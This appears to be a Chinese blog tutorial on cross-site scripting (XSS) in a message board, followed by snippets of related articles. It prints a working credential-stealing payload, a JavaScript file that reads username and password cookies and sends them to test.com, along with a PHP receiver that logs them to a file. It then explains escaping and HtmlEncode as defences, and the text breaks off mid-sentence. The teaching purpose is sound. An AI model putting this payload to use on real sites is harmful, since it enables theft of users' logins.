跨站脚本攻击之XSS漏洞

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的

XSS

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

我们看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie(‘username‘).value;
var password=CookieHelper.getCookie(‘password‘).value;
var script =document.createElement(‘script‘);
script.src=‘http://test.com/index.php?username=‘+username+‘&password=‘+password;
document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

发送了一个get请求

http://test.com/index.php

<?php
    if(!empty($_GET[‘password‘])){
        $username=$_GET[‘username‘];
        $password=$_GET[‘password‘];

        try{
            $path=$_SERVER["DOCUMENT_ROOT"].‘/password.txt‘;
            $fp=fopen($path,‘a‘);
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){

        }
    }
?>

这样恶意用户就把访问留言板的用户的信息窃取了

怎么预防

上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。

系统内部需要弹出消息的时候只要将用户Redirect到 ShowMessage.ashx?Msg=消息就

可以,比如

Response.Redirect("ShowMessage.ashx?Msg=用户名不能为空!");

我们可以对请求的数据做检测,如果请求数据中有<等就认为是恶意请求,禁止

提交。aspx默认就是采用这种策略,这样做的缺点是如果做的是一个程序员论坛

,程序员就无法发表HTML代码的帖子了,因此更好的处理策略是将用户发表的

内容按照原样显示出来,而不是以HTML的方式显示出来。使用

HttpUtility.HtmlEncode就可以将字符串中的<、>等特殊字符转换为HTML显示的

字符,也就是不把<script>当成定义脚本的标签,而是当成“&lt;script&gt;”这样可

以在页面上直接显示出来的内容。

修改看帖代码,将context.Response.Write(line + "<hr/>");修改为

时间: 2024-11-08 09:04:24

跨站脚本攻击之XSS漏洞的相关文章

《白帽子讲WEB安全》学习笔记之第3章 跨站脚本攻击(xss)

第3章 跨站脚本攻击(xss) 3.1 xss简介 恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆.故将跨站脚本攻击缩写为XSS. XSS本质就是HTML注入 XSS的分类: (1)     反射型XSS: 一个恶意构造了Web的URL (2)    

跨站脚本攻击(XSS)

跨站脚本攻击(XSS) 简介 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的Cookie,导航到恶意网站,携带木马等. 一些场景 1. 恶意攻击者可以在个人介绍里面插入恶意代码,那么其他用户访问他的个人信息时,

Web安全——跨站脚本攻击(XSS)

web常见攻击手段 我只会大概提及它的攻击原理和预防方法,具体的实现和深入研究还请大家自行百度,因为只有真正需要用到才会去详细了解,这里我只为web安全小白做知识扫盲.因为博主目前接触最多的服务端语言是JAVA所以例子都从java web项目来讲. 跨站脚本攻击(XSS) 虽然我们目前做的是一个博客的小网站,但是以后无论是自己的博客还是实际的项目,都可以用图片来提供外链,方便管理,如果你的网站访问量很高啊,一天几十万几百万啊,我的天啊,这时候你考虑的就不是服务器空间够不够大,而是惊人的并发数啊,

Web安全之跨站脚本攻击(XSS)

XSS 简介 跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做"XSS". XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过"HTML注入"篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式. XS

Web安全相关(一):跨站脚本攻击(XSS)

简介 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的Cookie,导航到恶意网站,携带木马等. 一些场景 1. 恶意攻击者可以在个人介绍里面插入恶意代码,那么其他用户访问他的个人信息时,就会执行恶意代码. 2.

白帽子讲Web安全 第三章 跨站脚本攻击(XSS)

XSS----Cross Site Script; XSS攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. 1.XSS根据效果划分三类: 1)反射型XSS(非持久型XSS):简单的把用户输入的数据"反射"给浏览器.黑客往往需要诱导用户点击一个恶意链接,才能攻击成功. 2)存储型XSS(持久型XSS):存储型会把用户输入的数据存储在服务器端.这种具有很强的稳定性. 3)DOM Based XSS:通过修

java防范跨站脚本攻击(XSS)

网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加filter对数据参数进行处理. 1.在github上下载lucy-xss-servlet-filter:https://github.com/naver/lucy-xss-servlet-filter 2.打开项目lucy-xss-servlet-filter,将下载代码输出为jar包. 项目输出为j

Web攻防系列教程之跨站脚本攻击和防范技巧详解

Web攻防系列教程之跨站脚本攻击和防范技巧详解[XSS] 收藏:http://www.rising.com.cn/newsletter/news/2012-04-25/11387.html 来源:瑞星 2012-04-25 14:33:46 摘要:XSS跨站脚本攻击一直都被认为是客户端Web安全中最主流的攻击方式.因为Web环境的复杂性 以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决.那么,XSS跨站脚本攻击具体攻击行为是什么,又该如何进行有效的防范呢?本文对此进行了 有针对性的具体

转跨站脚本攻击详解

1 前言近年来,随着Web2.0的大潮,越来越多的人开始关注Web安全,新的Web攻击手法层出不穷,Web应用程序面临的安全形势日益严峻.跨站脚本攻击(XSS)就是常见的Web攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被OWASP开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)列为当前的头号Web安全威胁.本文将从跨站脚本漏洞的产生原理.攻击手法.检测方法和防御手段四个方面出发,全面的介绍跨站脚本漏洞的方方面面,